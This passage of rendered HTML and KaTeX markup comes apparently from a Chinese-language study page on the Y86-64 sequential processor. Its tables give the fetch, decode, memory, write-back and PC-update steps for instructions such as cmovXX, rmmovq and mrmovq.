style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05017em;">lB</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td></tr><tr><td style="text-align:left"><strong>访存</strong></td><td style="text-align:left"></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>M</mi><mn>8</mn></msub><mo stretchy="false">[</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>E</mi><mo stretchy="false">]</mo><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>P</mi></mrow><annotation encoding="application/x-tex">M_8[valE] \leftarrow valP</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">lE</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.13889em;">lP</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>M</mi><mo>←</mo><msub><mi>M</mi><mn>8</mn></msub><mo stretchy="false">[</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>A</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">valM \leftarrow M_8[valA]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.10903em;">lM</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">A</span><span class="mclose">]</span></span></span></span></td></tr><tr><td style="text-align:left"><strong>写回</strong></td><td style="text-align:left"></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>R</mi><mo stretchy="false">[</mo><mi mathvariant="normal">%</mi><mi>r</mi><mi>s</mi><mi>p</mi><mo stretchy="false">]</mo><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>E</mi></mrow><annotation encoding="application/x-tex">R[\%rsp] \leftarrow valE</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord">%</span><span class="mord mathnormal">rs</span><span class="mord mathnormal">p</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">lE</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>R</mi><mo stretchy="false">[</mo><mi mathvariant="normal">%</mi><mi>r</mi><mi>s</mi><mi>p</mi><mo stretchy="false">]</mo><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>E</mi></mrow><annotation encoding="application/x-tex">R[\%rsp] \leftarrow valE</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord">%</span><span class="mord mathnormal">rs</span><span class="mord mathnormal">p</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">lE</span></span></span></span></td></tr><tr><td style="text-align:left"><strong>更新 PC</strong></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mi>C</mi><mo>←</mo><mi>C</mi><mi>n</mi><mi>d</mi><mo stretchy="false">?</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>C</mi><mo>:</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>P</mi></mrow><annotation encoding="application/x-tex">PC \leftarrow Cnd ? valC : valP</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal">n</span><span class="mord mathnormal">d</span><span class="mclose">?</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.07153em;">lC</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.13889em;">lP</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mi>C</mi><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>C</mi></mrow><annotation encoding="application/x-tex">PC \leftarrow valC</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.07153em;">lC</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mi>C</mi><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>M</mi></mrow><annotation encoding="application/x-tex">PC \leftarrow valM</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.10903em;">lM</span></span></span></span></td></tr></tbody></table><hr /><table><thead><tr><th style="text-align:left">阶段</th><th style="text-align:left"><code>cmovXX rA, rB</code></th><th style="text-align:left"><code>rmmovq rA, D(rB)</code></th><th style="text-align:left"><code>mrmovq D(rB), rA</code></th></tr></thead><tbody><tr><td style="text-align:left"><strong>取指</strong></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mi>c</mi><mi>o</mi><mi>d</mi><mi>e</mi><mo>:</mo><mi>i</mi><mi>f</mi><mi>u</mi><mi>n</mi><mo>←</mo><msub><mi>M</mi><mn>1</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">icode:ifun \leftarrow M_1[PC]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal">co</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">u</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>r</mi><mi>A</mi><mo>:</mo><mi>r</mi><mi>B</mi><mo>←</mo><msub><mi>M</mi><mn>1</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>1</mn><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">rA:rB \leftarrow M_1[PC+1]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>P</mi><mo>←</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">valP \leftarrow PC+2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.13889em;">lP</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mi>c</mi><mi>o</mi><mi>d</mi><mi>e</mi><mo>:</mo><mi>i</mi><mi>f</mi><mi>u</mi><mi>n</mi><mo>←</mo><msub><mi>M</mi><mn>1</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">icode:ifun \leftarrow M_1[PC]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal">co</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">u</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>r</mi><mi>A</mi><mo>:</mo><mi>r</mi><mi>B</mi><mo>←</mo><msub><mi>M</mi><mn>1</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>1</mn><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">rA:rB \leftarrow M_1[PC+1]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>C</mi><mo>←</mo><msub><mi>M</mi><mn>8</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>2</mn><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">valC \leftarrow M_8[PC+2]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.07153em;">lC</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">2</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>P</mi><mo>←</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>10</mn></mrow><annotation encoding="application/x-tex">valP \leftarrow PC+10</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.13889em;">lP</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">10</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mi>c</mi><mi>o</mi><mi>d</mi><mi>e</mi><mo>:</mo><mi>i</mi><mi>f</mi><mi>u</mi><mi>n</mi><mo>←</mo><msub><mi>M</mi><mn>1</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">icode:ifun \leftarrow M_1[PC]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal">co</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">u</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>r</mi><mi>A</mi><mo>:</mo><mi>r</mi><mi>B</mi><mo>←</mo><msub><mi>M</mi><mn>1</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>1</mn><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">rA:rB \leftarrow M_1[PC+1]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>C</mi><mo>←</mo><msub><mi>M</mi><mn>8</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>2</mn><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">valC \leftarrow M_8[PC+2]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.07153em;">lC</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">2</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>P</mi><mo>←</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>10</mn></mrow><annotation encoding="application/x-tex">valP \leftarrow PC+10</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.13889em;">lP</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">10</span></span></span></span></td></tr><tr><td style="text-align:left"><strong>译码</strong></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>A</mi><mo>←</mo><mi>R</mi><mo stretchy="false">[</mo><mi>r</mi><mi>A</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">valA \leftarrow R[rA]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">A</span><span class="mclose">]</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>A</mi><mo>←</mo><mi>R</mi><mo stretchy="false">[</mo><mi>r</mi><mi>A</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">valA \leftarrow R[rA]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">A</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>B</mi><mo>←</mo><mi>R</mi><mo stretchy="false">[</mo><mi>r</mi><mi>B</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">valB \leftarrow R[rB]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord 